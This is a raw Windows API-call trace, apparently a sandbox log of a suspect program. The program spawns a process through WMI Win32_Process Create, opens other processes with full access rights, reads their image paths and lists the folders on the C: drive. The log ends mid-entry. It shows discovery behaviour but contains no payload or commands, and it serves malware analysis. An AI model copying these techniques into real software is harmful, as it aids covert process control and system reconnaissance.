0x0 [0062.295] IWbemClassObject:Get (in: This=0x1bebf900, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a6c3d0*=0, plFlavor=0x2a6c3d4*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a6c3d0*=13, plFlavor=0x2a6c3d4*=32) returned 0x0 [0062.295] IWbemClassObject:Get (in: This=0x1bebf900, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a6c3d0*=13, plFlavor=0x2a6c3d4*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a6c3d0*=13, plFlavor=0x2a6c3d4*=32) returned 0x0 [0062.295] IUnknown:QueryInterface (in: This=0x1bef43c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x1bef43c0) returned 0x0 [0062.296] IUnknown:QueryInterface (in: This=0x1bef43c0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0062.296] IUnknown:QueryInterface (in: This=0x1bef43c0, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0062.296] IUnknown:AddRef (This=0x1bef43c0) returned 0x3 [0062.296] IUnknown:QueryInterface (in: This=0x1bef43c0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0062.296] IUnknown:QueryInterface (in: This=0x1bef43c0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0062.296] IUnknown:QueryInterface (in: This=0x1bef43c0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x1bef43c8) returned 0x0 [0062.296] IMarshal:GetUnmarshalClass (in: This=0x1bef43c8, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0062.296] IUnknown:Release (This=0x1bef43c8) returned 0x3 [0062.296] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0062.296] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0062.296] IUnknown:QueryInterface (in: This=0x1bef43c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0062.296] IUnknown:Release (This=0x1bef43c0) returned 0x2 [0062.296] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0062.296] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0062.297] IUnknown:QueryInterface (in: This=0x1bef43c0, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0062.297] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0062.297] IUnknown:QueryInterface (in: This=0x1bef43c0, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0062.297] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0062.297] IUnknown:AddRef (This=0x1bef43c0) returned 0x3 [0062.297] IWbemClassObject:Put (This=0x1bebf900, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bef43c0, varVal2=0x0), Type=0) returned 0x0 [0062.297] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b2a0, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0062.297] WbemDefPath:IWbemPath:GetText (in: This=0x119b2a0, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0062.297] WbemDefPath:IWbemPath:GetText (in: This=0x119b2a0, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0062.297] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b1e0, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0062.297] WbemDefPath:IWbemPath:GetText (in: This=0x119b1e0, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0062.297] WbemDefPath:IWbemPath:GetText (in: This=0x119b1e0, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0062.297] WbemDefPath:IWbemPath:GetText (in: This=0x119b2a0, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0062.297] WbemDefPath:IWbemPath:GetText (in: This=0x119b2a0, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0062.298] IWbemServices:ExecMethod (in: This=0x1bf00d80, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bebf900, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1bf18f70, ppCallResult=0x0) returned 0x0 [0062.414] IWbemClassObject:Get (in: This=0x1bf18f70, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a6c6e8*=0, plFlavor=0x2a6c6ec*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf24, varVal2=0x0), pType=0x2a6c6e8*=19, plFlavor=0x2a6c6ec*=0) returned 0x0 [0062.414] IWbemClassObject:Get (in: This=0x1bf18f70, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a6c6e8*=19, plFlavor=0x2a6c6ec*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf24, varVal2=0x0), pType=0x2a6c6e8*=19, plFlavor=0x2a6c6ec*=0) returned 0x0 [0062.415] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xb88) returned 0x348 [0062.415] GetExitCodeProcess (in: hProcess=0x348, lpExitCode=0x29ab4f4 | out: lpExitCode=0x29ab4f4*=0x103) returned 1 [0062.415] CoTaskMemAlloc (cb=0x404) returned 0x1bf1cf40 [0062.415] QueryFullProcessImageNameA (in: hProcess=0x348, dwFlags=0x0, lpExeName=0x1bf1cf40, lpdwSize=0x1b2fe138 | out: lpExeName="C:\\Program Files\\Windows Sidebar\\accupos.exe", lpdwSize=0x1b2fe138) returned 1 [0062.416] CoTaskMemFree (pv=0x1bf1cf40) [0062.423] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xb28) returned 0x340 [0062.423] GetExitCodeProcess (in: hProcess=0x340, lpExitCode=0x29ae88c | out: lpExitCode=0x29ae88c*=0x103) returned 1 [0062.423] CoTaskMemAlloc (cb=0x404) returned 0x1bf1cf40 [0062.423] QueryFullProcessImageNameA (in: hProcess=0x340, dwFlags=0x0, lpExeName=0x1bf1cf40, lpdwSize=0x1b2fe138 | out: lpExeName="C:\\Program Files (x86)\\Windows Portable Devices\\outlook.exe", lpdwSize=0x1b2fe138) returned 1 [0062.425] CoTaskMemFree (pv=0x1bf1cf40) [0062.428] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xc9c) returned 0x34c [0062.428] GetExitCodeProcess (in: hProcess=0x34c, lpExitCode=0x29af7dc | out: lpExitCode=0x29af7dc*=0x103) returned 1 [0062.429] CoTaskMemAlloc (cb=0x404) returned 0x1bf1cf40 [0062.429] QueryFullProcessImageNameA (in: hProcess=0x34c, dwFlags=0x0, lpExeName=0x1bf1cf40, lpdwSize=0x1b2fe138 | out: lpExeName="C:\\Windows\\System32\\taskhost.exe", lpdwSize=0x1b2fe138) returned 1 [0062.429] CoTaskMemFree (pv=0x1bf1cf40) [0062.433] CoTaskMemAlloc (cb=0x404) returned 0x1bf1cf40 [0062.433] QueryFullProcessImageNameA (in: hProcess=0x328, dwFlags=0x0, lpExeName=0x1bf1cf40, lpdwSize=0x1b2fe138 | out: lpExeName="C:\\Program Files (x86)\\Mozilla Firefox\\bitkinex.exe", lpdwSize=0x1b2fe138) returned 1 [0062.433] CoTaskMemFree (pv=0x1bf1cf40) [0062.437] CoTaskMemAlloc (cb=0x20c) returned 0x1163740 [0062.437] GetSystemDirectoryW (in: lpBuffer=0x1163740, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0062.438] CoTaskMemFree (pv=0x1163740) [0062.438] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0062.438] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0062.441] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x11f5e90 [0062.441] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0062.441] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0062.441] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0062.441] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0062.441] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x183b87e0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0062.442] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x418b3f80, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x41aa3160, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x41aa3160, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hyperWinhost", cAlternateFileName="HYPERW~1")) returned 1 [0062.442] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xf1e7bf70, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xf1f144f0, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xf1f144f0, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0062.442] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x18be7380, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0062.442] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0062.442] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdee64ba0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xdee64ba0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0062.442] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x39960750, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x39960750, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0062.442] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x41b67910, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x41b67910, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0062.442] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0062.442] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3740380, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x4b53c6d0, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x4b53c6d0, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0062.442] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0062.443] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdef956a0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xdef956a0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0062.443] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0062.443] FindClose (in: hFindFile=0x11f5e90 | out: hFindFile=0x11f5e90) returned 1 [0062.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0062.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0062.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0062.444] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0062.444] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\*" (normalized: "c:\\program files (x86)\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x39960750, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x39960750, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11f5e90 [0062.445] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x39960750, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x39960750, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.445] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd9d03b80, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd9d03b80, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0062.445] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0062.445] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd96ea320, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd96ea320, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0062.445] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1063b30, ftCreationTime.dwHighDateTime=0x1d99d01, ftLastAccessTime.dwLowDateTime=0xda17a4c0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xda17a4c0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~3")) returned 1 [0062.445] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d997770, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xda12e200, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xda12e200, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0062.445] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2e22d50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xda1a0620, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xda1a0620, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft OneDrive", 